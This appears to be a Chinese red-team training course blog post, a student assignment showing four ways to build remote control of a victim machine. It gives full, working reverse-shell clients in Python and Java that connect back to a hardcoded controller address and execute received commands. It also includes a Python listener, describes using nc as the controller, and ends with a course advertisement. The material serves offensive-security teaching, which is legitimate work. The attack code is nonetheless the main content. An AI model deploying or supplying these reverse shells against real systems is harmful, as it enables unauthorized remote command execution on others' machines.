文章来源|MS08067 红队培训班 第5期
本文作者:山(红队培训班5期学员)
作业的思路是实现控制端(Server)对受控端(Client)的远程控制;在作业中,将以python代码 以及 java代码实现受控端、nc以及python代码实现控制端,尝试不同的远程方式。
本次作业 技术含量不高,主要是将重点放在远控方式的多样思路拓展上。作业能够入选离不开老师和班内大神的技术结晶共享,特此致谢。
将以4种方式展示远控过程:
简单多样远控实现
Level 1: Client(python) + NC
Level 2: Client(python) + Server(python)
Level 3: Client(java) + NC
Level 4: Client(java) + Server(python)
Level 1: Client(python) + NC
Client代码:
import socket
import os
def Client():
# AF_INET表示使用IPV4协议,SOCK_STREAM表示使用TCP协议
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
# 控制端的IP以硬编码形式写在代码中,被控端将主动连接这个IP
s.connect(("192.168.181.145",5551))
except Exception as e:
print("server not found or closed")
while True:
#接收控制端的输入,1024表示1024个缓冲字节
command=s.recv(1024).decode()
#这里注意exit后面要跟换行符,否则exit不会被匹配上,也会被当命令执行到受控端
if command.lower()=='exit\n':
break
else:
# 执行控制端发来的命令,这里使用os.system()和subprocess.Popen也可以
result=os.popen(command,'r',1).read()
try:
# 将结果返回给控制端
s.send(result.encode("UTF-8"))
except Exception as e:
s.send("命令错误".encode("UTF-8"))
s.close()
if __name__=='__main__':
Client()
1.控制端(192.168.181.145)监听本地端口5551:
2.受控端(192.168.181.189)执行python代码:
3.控制端收到请求,输入一些命令:
4.可以看到受控端的信息同步,无法识别的信息会显示在窗口,可以看到此种方式还不能实现任意代码执行(比如创建文件):
Level 2: Client(python) + Server(python)
可以看到socket通信中,client和server各自的通信流程:
按照以上流程,可以写出Server(控制端)代码:
import socket
def Server():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# 绑定本机地址的5551端口
s.bind(("",5551))
# 允许最大连接数是3个
s.listen(3)
# 等待受控端的连接请求
conn,addr=s.accept()
#print("Connected by "+addr)
while True:
command=input("请输入命令\n")
try:
# print(command.encode())
# 向受控端发送指令
conn.sendall(command.encode())
# 接收回显并显示
result=conn.recv(1024)
print(result.decode())
except Exception as e:
print("发生异常")
conn.close()
s.close()
if __name__=='__main__':
Server()
分别执行server.py和client.py,相较于nc的好处,可以实现更多指令的执行(touch指令):
控制端:
受控端:
Level 3: Client(java) + NC
代码参考老师课上写的,不过没有用到 ByteArrayToHexStr 和 HexStrToStr 两个方法,而是使用了Base64方法将接收的字节数组形式的数据 转换为字符串格式,这里参考了班里某位大神的思路
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class App {
public static void main(String[] args) {
try {
// 建立socket连接
Socket socket = new Socket("192.168.181.189", 5678);
while (true) {
// 接收控制端的传输数据,以inputstream形式接收
InputStream inputStream = socket.getInputStream();
// byte by byte
byte[] bytes = new byte[1];
String info = "";
while (true) {
// 如果流里有东西
if (inputStream.available() > 0) {
//,就读取信息,读到上面定义的bytes数组里面
inputStream.read(bytes);
// 这里进行了修改,作用是将接收的字节数组形式的数据 转换为字符串格式,参考了班里大神的方法
String hexStr = Base64.getEncoder().encodeToString(bytes);
byte[] decoded = Base64.getDecoder().decode(hexStr);
// info就是接收到的 字符串形式的server传来的命令
info += new String(decoded);
// String hexStr = ByteArrayToHexStr(bytes);
// info += HexStrToStr(hexStr);
// 如果流里的内容读取完毕了
if (inputStream.available() == 0) {
//读取到的内容去除首位空格
info = info.trim();
//如果内容是一个exit就结束程序
if (info.equals("exit")) {
return;
}
try {
//命令执行
Process exec = Runtime.getRuntime().exec(info);
// 读取回显内容
InputStream results = exec.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(results));
// 准备传回数据,创建了数据输出流dataOutputStream
DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
String line;
// 将返回结果后面加上换行符,避免与下一条用户命令在视觉上混淆
while ((line = reader.readLine()) != null) {
dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
// 清空缓冲区
dataOutputStream.flush();
}
exec.waitFor();
// 与python中的.close()作用相同
results.close();
reader.close();
exec.destroy();
break;
} catch (Exception e) {
continue;
} finally {
info = "";
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
1.控制端监听端口,受控端执行java代码
2.可以看到回连成功,在控制端执行弹计算器指令:
受控端成功弹出计算器
Level 4: Client(java) + Server(python)
启动上述server(python):
启动上述受控端(java):
可以看出,仍然可以实现任意命令执行,网络通信是不区分编程语言的
不足与改进
时间有限,有几点亟需改进:
1.python代码中,对用户非法输入的处理机制欠优化
2.python代码中,输入无回显的指令(比如 calc 和 touch )后,无法继续进行命令输入
Web安全漏洞挖掘班 第3期
1.29号 开班倒计时~
第三期,主要突出了学员最关心的“实战打靶”练习,第三期我们新增加了快速打点方法+脚本思路、打靶机模拟实战等内容,并配备了专门的“实战靶场”以供同学们练习!
最新课程目录3.0版
*大纲仅作为参考,会根据当期进度有所变化(加客服获取高清课程导图)
课程费用
每期班定价2499,新年价:1999(报名送399元Web安全知识星球名额)
每个报名学员都可享受一次后续任意一期课免费重听权益,一次没学懂就再来一遍,后续培训可任选一期来听。请有意参加培训的学员抓紧报名!
凡是MS08067旗下任意星球学员或其他培训课程学员,可享内部VIP价1799;
支持支付宝、信用卡、花呗分期,对公转账,可开发票!
第二期班部分学员作业
上课时间
上课方式
你距离大佬,只差一个决定
报名咨询请联系小客服
扫描下方二维码加入星球学习
加入后邀请你进入内部微信群,内部微信群永久有效!